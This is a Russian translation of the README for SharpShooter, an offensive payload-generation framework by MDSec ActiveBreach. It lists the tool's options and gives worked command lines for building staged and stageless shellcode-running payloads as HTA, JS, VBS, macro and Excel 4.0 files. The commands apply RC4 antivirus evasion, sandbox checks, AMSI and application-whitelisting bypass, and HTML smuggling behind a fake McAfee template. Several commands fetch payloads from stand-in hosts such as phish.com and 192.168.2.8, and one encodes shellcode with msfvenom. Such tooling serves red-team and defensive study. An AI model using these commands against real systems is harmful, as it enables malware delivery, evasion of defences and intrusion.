
Фреймворк для генерации полезных нагрузок
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
SharpShooter — это фреймворк для создания полезных нагрузок, предназначенный для получения и выполнения произвольного CSharp-кода. SharpShooter способен создавать полезные нагрузки в различных форматах, включая HTA, JS, VBS и WSF. Он использует инструмент DotNetToJavaScript Джеймса Форшоу для вызова методов из сериализованного DotNet-объекта SharpShooter. Полезные нагрузки могут доставляться через Web, DNS или оба способа; SharpShooter совместим с проектом MDSec ActiveBreach PowerDNS. Кроме того, можно генерировать бесстадийные полезные нагрузки со встроенным выполнением shellcode для тех же форматов скриптов.
Полезные нагрузки SharpShooter шифруются RC4 со случайным ключом для обеспечения некоторой защиты от антивирусов, а проект включает возможность интеграции обнаружения песочницы и привязки к окружению, что помогает избежать обнаружения.
SharpShooter содержит предопределённый шаблон C# для выполнения shellcode с стадийными и бесстадийными полезными нагрузками, но любой C#-код может быть скомпилирован и выполнен в памяти с помощью рефлексии благодаря провайдеру CodeDom из C#.
Наконец, SharpShooter предоставляет возможность встраивать полезную нагрузку внутрь HTML-файла с использованием техники Demiguise HTML smuggling.
SharpShooter ориентирован на версии .NET Framework v2, v3 и v4, которые присутствуют на большинстве конечных рабочих станций Windows.
Версия 1.0 SharpShooter представила несколько новых концепций, включая COM-стадирование, выполнение Squiblydoo и Squiblytwo, а также выполнение XSL. Для реализации этой новой функциональности были добавлены несколько новых флагов: --com, --awl и --awlurl.
Версия 2.0 SharpShooter добавила модуль обхода AMSI, а также поддержку генерации документов с макросами VBA и Excel 4.
Дополнительную информацию можно найти в блоге MDSec.
SharpShooter является высоконастраиваемым, поддерживая множество типов полезных нагрузок, обходов песочниц, методов доставки и выходных форматов.
Запуск SharpShooter с аргументом --help выводит следующий текст:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help показать это справочное сообщение и выйти
--stageless Создать бесстадийную полезную нагрузку
--dotnetver <ver> Целевая версия .NET: 2 или 4
--com <com> Техника COM-стадирования: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Техника обхода белых списков приложений: wmic, regsvr32
--awlurl <awlurl> URL для получения XSL/SCT полезной нагрузки
--payload <format> Тип полезной нагрузки: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Техники защиты от песочниц:
[1] Привязка к домену (например, 1=CONTOSO)
[2] Проверка принадлежности к домену
[3] Проверка артефактов песочницы
[4] Проверка плохих MAC-адресов
[5] Проверка отладки
--amsi <amsi> Использовать технику обхода AMSI: amsienable
--delivery <type> Метод доставки: web, dns, both
--rawscfile <path> Путь к файлу с raw shellcode для бесстадийных полезных нагрузок
--shellcode Использовать встроенное выполнение shellcode
--scfile <path> Путь к файлу с shellcode в виде байтового массива C#
--refs <refs> Сборки, необходимые для компиляции пользовательского C#,
например, mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Пространство имён для пользовательского C#,
например, Foo.bar
--entrypoint <ep> Метод для выполнения,
например, Main
--web <web> URI для веб-доставки
--dns <dns> Домен для DNS-доставки
--output <output> Имя выходного файла (например, maldoc)
--smuggle Встроить файл внутри HTML
--template <tpl> Имя файла шаблона (например, mcafee)
Примеры некоторых вариантов использования приведены ниже:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
Создание бесстадийной JavaScript-полезной нагрузки для версии 4 .NET Framework. В этом примере будет создан файл с именем foo.js в выходном каталоге. Shellcode считывается из файла ./raw.txt. Нагрузка пытается применить некоторые методы обхода песочницы, привязывая выполнение к домену CONTOSO и проверяя наличие известных артефактов песочницы/ВМ.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
Создание бесстадийной HTA-полезной нагрузки для версии 2/3 .NET Framework. В этом примере будет создан файл с именем foo.hta в выходном каталоге. Shellcode считывается из файла ./raw.txt. Нагрузка пытается применить обход песочницы, проверяя известные виртуальные MAC-адреса. Также будет сгенерирована полезная нагрузка с HTML-контрабандой с именем foo.html в выходном каталоге. Эта нагрузка будет использовать пример шаблона сканирования вирусов McAfee.
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
Этот пример создаёт стадийную VBS-нагрузку, использующую как веб-, так и DNS-доставку. Нагрузка будет пытаться получить GZip-сжатый C#-файл, который выполняет shellcode, предоставленный в виде байтового массива C# из файла csharpsc.txt. Используется встроенный шаблон выполнения shellcode SharpShooter. Полезная нагрузка создаётся в выходном каталоге с именем foo.payload и должна размещаться по адресу http://www.foo.bar/shellcode.payload. Тот же файл также должен быть размещён на домене bar.foo с использованием PowerDNS для его обслуживания. Файл VBS будет пытаться привязать выполнение к домену CONTOSO и будет встроен в HTML-файл с использованием техники HTML-контрабанды и шаблона McAfee. Результирующая нагрузка сохраняется в выходном каталоге с именем foo.html.
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
Этот пример демонстрирует создание стадийной JS-нагрузки, использующей веб-доставку и получающей нагрузку с http://www.phish.com/implant.payload. Сгенерированная нагрузка будет пытаться обойти песочницу и скомпилировать полученную нагрузку, для чего требуются ссылки на сборки mscorlib.dll и System.Windows.Forms.dll. После успешной компиляции будет выполнен метод Main в пространстве имён MDSec.SharpShooter.
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
Этот пример создаёт VBS-нагрузку с COM-стадированием (контрабанда), использующую COM-метод Outlook.CreateObject() в качестве примитива для запуска wmic.exe и выполнения размещённой таблицы стилей. Параметр --awl не используется, по умолчанию применяется wmic.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Этот пример создаёт HTA-файл с контрабандой, использующий COM-интерфейс XMLDOM для получения и выполнения размещённой таблицы стилей.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Этот пример создаёт файл макроса VBA, использующий COM-интерфейс XMLDOM для получения и выполнения размещённой таблицы стилей.
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
Этот пример создаёт файл Excel 4.0 SLK, который выполняет предоставленный shellcode и оборачивает его в HTML. Shellcode не должен содержать нулевые байты, подсказка:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
Автор: Dominic Chell, MDSec ActiveBreach @domchell и @mdseclabs
Благодарности: